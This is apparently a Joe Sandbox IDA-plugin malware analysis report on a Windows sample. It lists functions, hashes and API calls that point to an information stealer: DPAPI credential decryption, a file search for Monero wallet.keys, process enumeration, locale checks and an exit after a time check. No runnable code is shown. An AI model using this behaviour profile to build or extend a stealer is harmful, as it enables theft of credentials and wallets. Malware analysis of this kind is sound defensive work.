Source File: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2;}k$8wm$:4GM$Bk$E`uy$T&$u\t$h9$kM
API String ID: 0-1077557972
Opcode ID: 0db9be9c4fbd18b59efea8cdf83bed6a346733f211107972c52a0133559e3463
Instruction ID: cd7b0a8ac3646f9105373f0a967b44d5f91238c8cbfabea1d39ee80aa88f9fcf
Opcode Fuzzy Hash: 0db9be9c4fbd18b59efea8cdf83bed6a346733f211107972c52a0133559e3463
Instruction Fuzzy Hash: 54B22AF3A0C6049FE304AE2DEC8567AFBD9EFD4620F1A853DE6C4C7744E93598058692

Function 004F5DFE Relevance: 12.8, Strings: 9, Instructions: 1599COMMON

Download Yara Rule

Strings

rI, xrefs: 004F63FC
L@, xrefs: 004F656F
T-[, xrefs: 004F63CC
:uJ~, xrefs: 004F6E90
vYz, xrefs: 004F6A30
W_}, xrefs: 004F62B8
}m?r, xrefs: 004F6BC6
s3FT, xrefs: 004F68DD
+M{, xrefs: 004F64A8

Memory Dump Source

Source File: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID:
String ID: +M{$:uJ~$L@$W_}$s3FT$vYz$}m?r$T-[$rI
API String ID: 0-2702800542
Opcode ID: aaeea504ebabc7c362fac79c0566d844f90eba262babd118dda339e907ca4c29
Instruction ID: 71fe0850dc0dd09582b31843ae4089e6d0e4ad29473a42c7bbdb62e56108772f
Opcode Fuzzy Hash: aaeea504ebabc7c362fac79c0566d844f90eba262babd118dda339e907ca4c29
Instruction Fuzzy Hash: C7A2E8F360C204AFE3046E2DEC8567ABBEAEFD4720F16853DE6C487744EA3558058697

Function 00137B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

GetKeyboardLayoutList.USER32(00000000,00000000,001405AF), ref: 00137BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00137BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00137C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00137C62
LocalFree.KERNEL32(00000000), ref: 00137D22

Strings

/ , xrefs: 00137C7F

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 7b332f9676ed224728a506af4a4111183900368e49f1b83c2c3863dd74b536e5
Instruction ID: 8a8bd31369dcb315163156ae4481430a9d1446727e92e3d38b109a533303df1f
Opcode Fuzzy Hash: 7b332f9676ed224728a506af4a4111183900368e49f1b83c2c3863dd74b536e5
Instruction Fuzzy Hash: 5B415CB1940218ABDB24DB94DC99BEEB7B8FF58700F6041D9E10972291DB742F85CFA1

Function 0012E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0013A740: lstrcpy.KERNEL32(00140E17,00000000), ref: 0013A788

Part of subcall function 0013A920: lstrcpy.KERNEL32(00000000,?), ref: 0013A972
Part of subcall function 0013A920: lstrcat.KERNEL32(00000000), ref: 0013A982

Part of subcall function 0013A9B0: lstrlen.KERNEL32(?,00FF90A8,?,\Monero\wallet.keys,00140E17), ref: 0013A9C5
Part of subcall function 0013A9B0: lstrcpy.KERNEL32(00000000), ref: 0013AA04
Part of subcall function 0013A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0013AA12

Part of subcall function 0013A8A0: lstrcpy.KERNEL32(?,00140E17), ref: 0013A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00140D73), ref: 0012E4A2
StrCmpCA.SHLWAPI(?,001414F8), ref: 0012E4F2
StrCmpCA.SHLWAPI(?,001414FC), ref: 0012E508
FindNextFileA.KERNEL32(000000FF,?), ref: 0012EBDF

Strings

\*.*, xrefs: 0012E44D

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: c23029138ca3126f0365a6ebe5e17121c026f99762df48cfbf21b10f90f69271
Instruction ID: 943155b9e8a84cf15600d4df7871d17542093e3f6dd393d9d3d8fa5e459b70d1
Opcode Fuzzy Hash: c23029138ca3126f0365a6ebe5e17121c026f99762df48cfbf21b10f90f69271
Instruction Fuzzy Hash: 8A122272910118AADB15FB70DCA6EED7378AF64300FC045E9B54AA6191EF306F49CF92

Function 004F77A9 Relevance: 9.1, Strings: 6, Instructions: 1591COMMON

Download Yara Rule

Strings

2d, xrefs: 004F7E74
3"'O, xrefs: 004F78AE
'Ho, xrefs: 004F7C1A
o,uR, xrefs: 004F7B5C
^N5n, xrefs: 004F8770
1=W7, xrefs: 004F87F9

Memory Dump Source

Source File: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'Ho$1=W7$2d$3"'O$^N5n$o,uR
API String ID: 0-3401262283
Opcode ID: 107facfd829c9180bfef4878f938ae53567e6e10da7b36b870583174a72fcbda
Instruction ID: 6f09c1f025ff4ba0c4b853605a7d5e5c5237512f5a2286950213b5b73575b10c
Opcode Fuzzy Hash: 107facfd829c9180bfef4878f938ae53567e6e10da7b36b870583174a72fcbda
Instruction Fuzzy Hash: 80B2D4F360C2009FE704AF2DEC8567AB7E9EF94720F1A893DE6C5C3744E63598058696

Function 004E9F9D Relevance: 7.9, Strings: 5, Instructions: 1657COMMON

Download Yara Rule

Strings

jyW, xrefs: 004EADE1
nT^9, xrefs: 004EAEAC
Z~v, xrefs: 004EAF85
Z*3z, xrefs: 004EA92D
V/|, xrefs: 004EB00B

Memory Dump Source

Source File: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Z~v$V/|$Z*3z$jyW$nT^9
API String ID: 0-1874167061
Opcode ID: dcb68819b23002266927988dc60dfdb3bd96d5fec3fa05c89254bef0f783bc5e
Instruction ID: 1496f3b8e89a8b631113564522097c0f9e38924eecd6708516126045536d4bef
Opcode Fuzzy Hash: dcb68819b23002266927988dc60dfdb3bd96d5fec3fa05c89254bef0f783bc5e
Instruction Fuzzy Hash: A5B219F360C6049FE304AE2DDC8567AFBE9EF94720F1A4A3DE6C5C3744EA3558018696

Function 004FC6D2 Relevance: 7.9, Strings: 5, Instructions: 1606COMMON

Download Yara Rule

Strings

u3}u, xrefs: 004FD926
vv0w, xrefs: 004FC9BB
Nb_, xrefs: 004FCE3E
<#~g, xrefs: 004FC86E
.P}, xrefs: 004FC7CB

Memory Dump Source

Source File: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID:
String ID: <#~g$Nb_$u3}u$vv0w$.P}
API String ID: 0-1477629152
Opcode ID: 61b3660f61f7e002a64b750015306ea95c0bd4a3d1b551aa7c0356aaf901ebdc
Instruction ID: 70810f1f922a4cd30a5e6c696fe0374802c6be2f11c721e68a0f34de7c1cc4cc
Opcode Fuzzy Hash: 61b3660f61f7e002a64b750015306ea95c0bd4a3d1b551aa7c0356aaf901ebdc
Instruction Fuzzy Hash: 3BB2F5F390C6009FE304AE2DEC8567ABBE9EF94320F1A893DE6C4C7744E63558058697

Function 0012C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0012C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0012C87C
lstrcat.KERNEL32(?,00140B46), ref: 0012C943
lstrcat.KERNEL32(?,00140B47), ref: 0012C957
lstrcat.KERNEL32(?,00140B4E), ref: 0012C978

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: 3fc7ecaff79c10b07ea69e1388d288a82c64fda2a12f4327755752ad023208ab
Instruction ID: a45d5b4e1bf4753ec3a9149e804832717c0d4d60f24d2d3ed60ccdc5bd0e2d7f
Opcode Fuzzy Hash: 3fc7ecaff79c10b07ea69e1388d288a82c64fda2a12f4327755752ad023208ab
Instruction Fuzzy Hash: DF4140B590421ADFDB10DFA4DD89BEEF7B8BB48704F1041A8E609B7280D7B55A84CF91

Function 00136920 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?), ref: 0013696C
sscanf.NTDLL ref: 00136999
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 001369B2
SystemTimeToFileTime.KERNEL32(?,00000000), ref: 001369C0
ExitProcess.KERNEL32 ref: 001369DA

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: d60cccd9c2144e3fe9e997b84254e0b2a2617d100dffcd8be17a4234283f1b1e
Instruction ID: 362fc58acba6113489f9a8793d8a2b8a493f7c72814477dc0c0a0d98de1b6306
Opcode Fuzzy Hash: d60cccd9c2144e3fe9e997b84254e0b2a2617d100dffcd8be17a4234283f1b1e
Instruction Fuzzy Hash: 0821E9B5D00208AFCF05EFE4D945AEEBBB9BF48300F04856AE406F3250EB745604CBA9

Function 00127240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 0012724D
RtlAllocateHeap.NTDLL(00000000), ref: 00127254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00127281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 001272A4
LocalFree.KERNEL32(?), ref: 001272AE

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 681203c498063b16d3d3cc00c0f024780ed2603c00896c7955e9ebd8d61fa440
Instruction ID: 5847988b458b6ae84ee6490667c59c53c6e4e8377666f5356d05359ae0decdfb
Opcode Fuzzy Hash: 681203c498063b16d3d3cc00c0f024780ed2603c00896c7955e9ebd8d61fa440
Instruction Fuzzy Hash: AF011275A44208BBDB14DFD4DD45F9E7BB8EB44704F108158FB05BB2C0D7B0AA008B65

Function 00139600 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0013961E
Process32First.KERNEL32(00140ACA,00000128), ref: 00139632
Process32Next.KERNEL32(00140ACA,00000128), ref: 00139647
StrCmpCA.SHLWAPI(?,00000000), ref: 0013965C
CloseHandle.KERNEL32(00140ACA), ref: 0013967A

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 88122ffbb3d4b0d7bf453696e55ea41f6c4b77d61003ccdcc813b9386d627c4c
Instruction ID: 3edae1e8f62b6e73cc3241cfb8baffce8ae030b9dd094dcc89063519ea017851
Opcode Fuzzy Hash: 88122ffbb3d4b0d7bf453696e55ea41f6c4b77d61003ccdcc813b9386d627c4c
Instruction Fuzzy Hash: E9011EB5A01208EBCB15DFA5CD49BEDBBF8EB48300F108188E909A7250E7B4AB40DF51

Function 00138EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00125184,40000001,00000000,00000000,?,00125184), ref: 00138EC0

Memory Dump Source

Source File: 00000000.00000002.1815930346.0000000000121000.00000040.00000001.01000000.00000003.sdmp, Offset: 00120000, based on PE: true

Associated: 00000000.00000002.1815913744.0000000000120000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.00000000001DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.0000000000202000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815930346.000000000036A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000037E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000050A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.00000000005E7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.0000000000608000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816070197.000000000061E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816583562.000000000061F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1816913937.00000000007BD000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_120000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 82b0d5485494e6a6cc2e784371c42da060a7a89b35c8e596adaf56307e6babd8
Instruction ID: 7a21b8ce29f47e9c068e362a5d468760735ccacea5f86b5f6aa31d0ebbe5e4da
Opcode Fuzzy Hash: 82b0d5485494e6a6cc2e784371c42da060a7a89b35c8e596adaf56307e6babd8
